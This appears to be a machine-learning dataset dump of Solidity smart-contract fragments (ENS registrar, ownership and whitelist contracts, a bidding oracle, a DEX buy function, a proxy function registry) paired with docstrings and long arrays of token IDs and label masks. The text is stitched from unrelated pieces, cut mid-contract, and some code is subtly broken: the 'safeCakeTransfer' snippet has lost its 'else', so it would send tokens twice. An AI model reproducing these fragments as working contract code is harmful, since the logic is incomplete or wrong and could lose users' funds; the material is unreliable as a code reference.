var registrar = ens.owner(rootNode);
if(registrar == address(this))
throw;
// Migrate the deed
entry h = _entries[_hash];
h.deed.setRegistrar(registrar);
// Call the new registrar to accept the transfer
Registrar(registrar).acceptRegistrarTransfer(_hash, h.deed, h.registrationDate);
// Zero out the entry
h.deed = Deed(0);
h.registrationDate = 0;
h.value = 0;
h.highestBid = 0;
}
/**
* @dev Accepts a transfer from a previous registrar; stubbed out here since there
* is no previous registrar implementing this interface.
* @param hash The sha3 hash of the label to transfer.
* @param deed The Deed object for the name being transferred in.
* @param registrationDate The date at which the name was originally registered.
*/
function acceptRegistrarTransfer(bytes32 hash, Deed deed, uint registrationDate) {}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
/**
* @dev Throws if called by any account that's not whitelisted.
*/
modifier onlyWhitelisted() {
require(whitelist[msg.sender]);
_;
}
/**
* @dev add an address to the whitelist
* @param addr address
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
WhitelistedAddressAdded(addr);
success = true;
}
}
/**
* @dev add addresses to the whitelist
* @param addrs addresses
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
}
/**
* @dev remove an address from the whitelist
* @param addr address
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place
*/
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
WhitelistedAddressRemoved(addr);
success = true;
}
}
/**
* @dev remove addresses from the whitelist
* @param addrs addresses
* @return true if at least one address was removed from the whitelist,
* false if all addresses weren't in the whitelist in the first place
*/
function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
}
}
contract BedOracleV1 is Whitelist {
struct Bid {
uint value;
uint reward;
bytes32 hash;
address owner;
}
Registrar internal registrar_;
uint internal balance_;
mapping (bytes32 => Bid) internal bids_;
event Added(address indexed owner, bytes32 indexed shaBid, bytes8 indexed gasPrices, bytes cypherBid);
event Finished(bytes32 indexed shaBid);
event Forfeited(bytes32 indexed shaBid);
event Withdrawn(address indexed to, uint value);
function() external payable {}
constructor(address _registrar) public {
registrar_ = Registrar(_registrar);
}
// This function adds the bid to a map of bids for the oracle to bid on
function add(bytes32 _shaBid, uint reward, bytes _cypherBid, bytes8 _gasPrices)
external payable
{
// Validate that the bid doesn't exist
require(bids_[_shaBid].owner == 0);
require(msg.value > 0.01 ether + reward);
// MAYBE take a cut
// // we take 1 percent of the bid above the minimum.
// uint cut = msg.value - 10 finney - reward / 100;
// Create the bid
bids_[_shaBid] = Bid(
msg.value - reward,
reward,
bytes32(0),
msg.sender
);
// Emit an Added Event. We store the cypherBid inside the events because
// it isn't neccisarry for any of the other steps while bidding
emit Added(msg.sender, _shaBid, _gasPrices, _cypherBid);
}
// bid is responsable for calling the newBid function
// Note: bid is onlyWhitelisted to make sure that we don't preemptivly bid
// on a name.
function bid(bytes32 _shaBid) external onlyWhitelisted {
Bid storage b = bids_[_shaBid];
registrar_.newBid.value(b.value)(_shaBid);
}
// reveal is responsable for unsealing the bid. it also stores the hash
// for later use when finalizing or forfeiting the auction.
function reveal(bytes32 _hash, uint _value, bytes32 _salt) external {
bids_[keccak256(_hash, this, _value, _salt)].hash = _hash;
registrar_.unsealBid(_hash, _value, _salt);
}
// finalize claims the deed and transfers it back to the user.
function finalize(bytes32 _shaBid) external {
Bid storage b = bids_[_shaBid];
bytes32 node = keccak256(registrar_.rootNode(), b.hash);
registrar_.finalizeAuction(b.hash);
// set the resolver to zero in order to make sure no dead data is read.
ENS(registrar_.ens()).setResolver(node, address(0));
registrar_.transfer(b.hash, b.owner);
// make sure subsequent calls to 'forfeit' don't affect us.
b.value = 0;
// add gas to balance
balance_ += b.reward;
b.reward = 0;
emit Finished(_shaBid);
}
function forfeit(bytes32 _shaBid) external onlyWhitelisted {
Bid storage b = bids_[_shaBid];
// this is here to make sure that we don't steal the customers money
// after they call 'add'.
require(registrar_.state(b.hash) == Registrar.Mode.Owned);
// give back the lost bid value.
b.owner.transfer(b.value);
b.value = 0;
// add gas to balance
balance_ += b.reward;
b.reward = 0;
emit Forfeited(_shaBid);
}
function getBid(bytes32 _shaBid)
external view returns (uint, uint, bytes32, address)
{
Bid storage b = bids_[_shaBid];
return (b.value, b.reward, b.hash, b.owner);
}
function setRegistrar(address _newRegistrar) external onlyOwner {
registrar_ = Registrar(_newRegistrar);
}
// withdraws from the reward pot
function withdraw() external onlyWhitelisted {
msg.sender.transfer(balance_);
emit Withdrawn(msg.sender, balance_);
balance_ = 0;
}
} | * @dev Submit a name 6 characters long or less. If it has been registered, the submitter will earn 50% of the deed value. We are purposefully handicapping the simplified registrar as a way to force it into being restructured in a few years. @param unhashedName An invalid name to search for in the registry./ Reward the discoverer with 50% of the deed The previous owner gets 50% | function invalidateName(string unhashedName) inState(sha3(unhashedName), Mode.Owned) {
if (strlen(unhashedName) > 6 ) throw;
bytes32 hash = sha3(unhashedName);
entry h = _entries[hash];
_tryEraseSingleNode(hash);
if(address(h.deed) != 0) {
h.value = max(h.value, minPrice);
h.deed.setBalance(h.value/2, false);
h.deed.setOwner(msg.sender);
h.deed.closeDeed(1000);
}
HashInvalidated(hash, unhashedName, h.value, h.registrationDate);
h.value = 0;
h.highestBid = 0;
h.deed = Deed(0);
}
| 11,898,241 | [
1,
11620,
279,
508,
1666,
3949,
1525,
578,
5242,
18,
971,
518,
711,
2118,
4104,
16,
326,
4879,
387,
903,
425,
1303,
6437,
9,
434,
326,
443,
329,
460,
18,
1660,
854,
13115,
4095,
948,
335,
438,
1382,
326,
20482,
17450,
297,
487,
279,
4031,
358,
2944,
518,
1368,
3832,
400,
8813,
2862,
316,
279,
11315,
11387,
18,
225,
640,
2816,
329,
461,
1922,
2057,
508,
358,
1623,
364,
316,
326,
4023,
18,
19,
534,
359,
1060,
326,
10372,
264,
598,
6437,
9,
434,
326,
443,
329,
1021,
2416,
3410,
5571,
6437,
9,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
11587,
461,
12,
1080,
640,
2816,
329,
461,
13,
316,
1119,
12,
7819,
23,
12,
318,
2816,
329,
461,
3631,
8126,
18,
5460,
329,
13,
288,
203,
3639,
309,
261,
10835,
12,
318,
2816,
329,
461,
13,
405,
1666,
262,
604,
31,
203,
3639,
1731,
1578,
1651,
273,
6056,
23,
12,
318,
2816,
329,
461,
1769,
203,
203,
3639,
1241,
366,
273,
389,
8219,
63,
2816,
15533,
203,
203,
3639,
389,
698,
41,
5648,
5281,
907,
12,
2816,
1769,
203,
203,
3639,
309,
12,
2867,
12,
76,
18,
323,
329,
13,
480,
374,
13,
288,
203,
5411,
366,
18,
1132,
273,
943,
12,
76,
18,
1132,
16,
1131,
5147,
1769,
203,
5411,
366,
18,
323,
329,
18,
542,
13937,
12,
76,
18,
1132,
19,
22,
16,
629,
1769,
203,
5411,
366,
18,
323,
329,
18,
542,
5541,
12,
3576,
18,
15330,
1769,
203,
5411,
366,
18,
323,
329,
18,
4412,
758,
329,
12,
18088,
1769,
203,
3639,
289,
203,
203,
3639,
2474,
1941,
690,
12,
2816,
16,
640,
2816,
329,
461,
16,
366,
18,
1132,
16,
366,
18,
14170,
1626,
1769,
203,
203,
3639,
366,
18,
1132,
273,
374,
31,
203,
3639,
366,
18,
8766,
395,
17763,
273,
374,
31,
203,
3639,
366,
18,
323,
329,
273,
1505,
329,
12,
20,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x6C18cF7FbB321F41cbC163248a298c66A377eece/sources/contracts/dex/eth/EthDexAggregatorV1.sol | @notice Buy tokens @dev Buy exact amount of token with tax applied @param buyToken Address of token transfer from Dex pair @param sellToken Address of token transfer into Dex pair @param buyTax Tax applyed by buyToken while transfer from Dex pair @param sellTax Tax applyed by SellToken while transfer into Dex pair @param buyAmount Exact amount to buy @param maxSellAmount Maximum amount of token to receive. @param data Dex to use for swap @return sellAmount Exact amount sold | function buy(address buyToken, address sellToken, uint24 buyTax, uint24 sellTax, uint buyAmount, uint maxSellAmount, bytes memory data) external override returns (uint sellAmount){
if (data.isUniV2Class()) {
sellAmount = uniV2Buy(dexInfo[data.toDex()], buyToken, sellToken, buyAmount, maxSellAmount, buyTax, sellTax);
}
else if (data.toDex() == DexData.DEX_UNIV3) {
sellAmount = uniV3Buy(buyToken, sellToken, buyAmount, maxSellAmount, data.toFee(), true);
}
else {
revert('Unsupported dex');
}
}
| 9,120,077 | [
1,
38,
9835,
2430,
225,
605,
9835,
5565,
3844,
434,
1147,
598,
5320,
6754,
225,
30143,
1345,
5267,
434,
1147,
7412,
628,
463,
338,
3082,
225,
357,
80,
1345,
5267,
434,
1147,
7412,
1368,
463,
338,
3082,
225,
30143,
7731,
18240,
2230,
329,
635,
30143,
1345,
1323,
7412,
628,
463,
338,
3082,
225,
357,
80,
7731,
18240,
2230,
329,
635,
348,
1165,
1345,
1323,
7412,
1368,
463,
338,
3082,
225,
30143,
6275,
30794,
3844,
358,
30143,
225,
943,
55,
1165,
6275,
18848,
3844,
434,
1147,
358,
6798,
18,
225,
501,
463,
338,
358,
999,
364,
7720,
327,
357,
80,
6275,
30794,
3844,
272,
1673,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
30143,
12,
2867,
30143,
1345,
16,
1758,
357,
80,
1345,
16,
2254,
3247,
30143,
7731,
16,
2254,
3247,
357,
80,
7731,
16,
2254,
30143,
6275,
16,
2254,
943,
55,
1165,
6275,
16,
1731,
3778,
501,
13,
3903,
3849,
1135,
261,
11890,
357,
80,
6275,
15329,
203,
3639,
309,
261,
892,
18,
291,
984,
77,
58,
22,
797,
10756,
288,
203,
5411,
357,
80,
6275,
273,
7738,
58,
22,
38,
9835,
12,
561,
966,
63,
892,
18,
869,
40,
338,
1435,
6487,
30143,
1345,
16,
357,
80,
1345,
16,
30143,
6275,
16,
943,
55,
1165,
6275,
16,
30143,
7731,
16,
357,
80,
7731,
1769,
203,
3639,
289,
203,
3639,
469,
309,
261,
892,
18,
869,
40,
338,
1435,
422,
463,
338,
751,
18,
6832,
67,
2124,
8188,
23,
13,
288,
203,
5411,
357,
80,
6275,
273,
7738,
58,
23,
38,
9835,
12,
70,
9835,
1345,
16,
357,
80,
1345,
16,
30143,
6275,
16,
943,
55,
1165,
6275,
16,
501,
18,
869,
14667,
9334,
638,
1769,
203,
3639,
289,
203,
3639,
469,
288,
203,
5411,
15226,
2668,
8544,
302,
338,
8284,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x48ec814465f5a5b66DE20480358453fa57A18bc1/sources/fantasycity.sol | If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. | return string(abi.encodePacked(base, tokenId.toString(),ending));
| 8,321,496 | [
1,
2047,
1915,
353,
279,
1026,
3098,
1496,
1158,
1147,
3098,
16,
11361,
326,
1147,
734,
358,
326,
1026,
3098,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
327,
533,
12,
21457,
18,
3015,
4420,
329,
12,
1969,
16,
1147,
548,
18,
10492,
9334,
2846,
10019,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43113/0xCff1Ea16293C8F074A5d15A6c8171400925Dc714/sources/contracts/SavingGroups.sol | turn = turno actual de la rosca
| require(realTurn > senderTurn, "Espera a llegar a tu turno"); | 7,120,608 | [
1,
20922,
273,
7005,
83,
3214,
443,
7125,
721,
1017,
69,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2583,
12,
7688,
15858,
405,
5793,
15858,
16,
315,
6705,
457,
69,
279,
328,
1935,
297,
279,
28325,
7005,
83,
8863,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0xECE138335ea60487564FaD52d3ccda40aABA22DC/sources/browser/soupchef.sol | Safe cake transfer function, just in case if rounding error causes pool to not have enough CAKEs. | function safeCakeTransfer(address _to, uint256 _amount) public onlyOwner {
uint256 SahiBal = Sahi.balanceOf(address(this));
if (_amount > SahiBal) {
Sahi.transfer(_to, SahiBal);
Sahi.transfer(_to, _amount);
}
}
| 14,132,416 | [
1,
9890,
276,
911,
7412,
445,
16,
2537,
316,
648,
309,
13885,
555,
14119,
2845,
358,
486,
1240,
7304,
6425,
47,
6705,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4183,
31089,
5912,
12,
2867,
389,
869,
16,
2254,
5034,
389,
8949,
13,
1071,
1338,
5541,
288,
203,
3639,
2254,
5034,
348,
9795,
17632,
287,
273,
348,
9795,
77,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
309,
261,
67,
8949,
405,
348,
9795,
17632,
287,
13,
288,
203,
5411,
348,
9795,
77,
18,
13866,
24899,
869,
16,
348,
9795,
17632,
287,
1769,
203,
5411,
348,
9795,
77,
18,
13866,
24899,
869,
16,
389,
8949,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: Apache-2.0
/*
Modifications Copyright 2022 Element.Market
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.8.13;
import "../fixins/FixinCommon.sol";
import "../storage/LibProxyStorage.sol";
import "../storage/LibSimpleFunctionRegistryStorage.sol";
import "../migrations/LibBootstrap.sol";
import "./interfaces/IFeature.sol";
import "./interfaces/ISimpleFunctionRegistryFeature.sol";
/// @dev Basic registry management features.
contract SimpleFunctionRegistryFeature is
IFeature,
ISimpleFunctionRegistryFeature,
FixinCommon
{
/// @dev Name of this feature.
string public constant override FEATURE_NAME = "SimpleFunctionRegistry";
/// @dev Version of this feature.
uint256 public immutable override FEATURE_VERSION = _encodeVersion(1, 0, 0);
/// @dev Initializes this feature, registering its own functions.
/// @return success Magic bytes if successful.
function bootstrap() external returns (bytes4 success) {
_extend(this.registerMethods.selector, _implementation);
// Register the registration functions (inception vibes).
_extend(this.extend.selector, _implementation);
_extend(this._extendSelf.selector, _implementation);
// Register the rollback function.
_extend(this.rollback.selector, _implementation);
// Register getters.
_extend(this.getRollbackLength.selector, _implementation);
_extend(this.getRollbackEntryAtIndex.selector, _implementation);
return LibBootstrap.BOOTSTRAP_SUCCESS;
}
function registerMethods(address impl, bytes4[] calldata methodIDs)
external
override
onlyOwner
{
(
LibSimpleFunctionRegistryStorage.Storage storage stor,
LibProxyStorage.Storage storage proxyStor
) = _getStorages();
for (uint256 i = 0; i < methodIDs.length; i++) {
bytes4 selector = methodIDs[i];
address oldImpl = proxyStor.impls[selector];
address[] storage history = stor.implHistory[selector];
history.push(oldImpl);
proxyStor.impls[selector] = impl;
emit ProxyFunctionUpdated(selector, oldImpl, impl);
}
}
/// @dev Roll back to a prior implementation of a function.
/// Only directly callable by an authority.
/// @param selector The function selector.
/// @param targetImpl The address of an older implementation of the function.
function rollback(bytes4 selector, address targetImpl) external override onlyOwner {
(
LibSimpleFunctionRegistryStorage.Storage storage stor,
LibProxyStorage.Storage storage proxyStor
) = _getStorages();
address currentImpl = proxyStor.impls[selector];
if (currentImpl == targetImpl) {
// Do nothing if already at targetImpl.
return;
}
// Walk history backwards until we find the target implementation.
address[] storage history = stor.implHistory[selector];
uint256 i = history.length;
for (; i > 0; --i) {
address impl = history[i - 1];
history.pop();
if (impl == targetImpl) {
break;
}
}
if (i == 0) {
revert("NOT_IN_ROLLBACK_HISTORY");
}
proxyStor.impls[selector] = targetImpl;
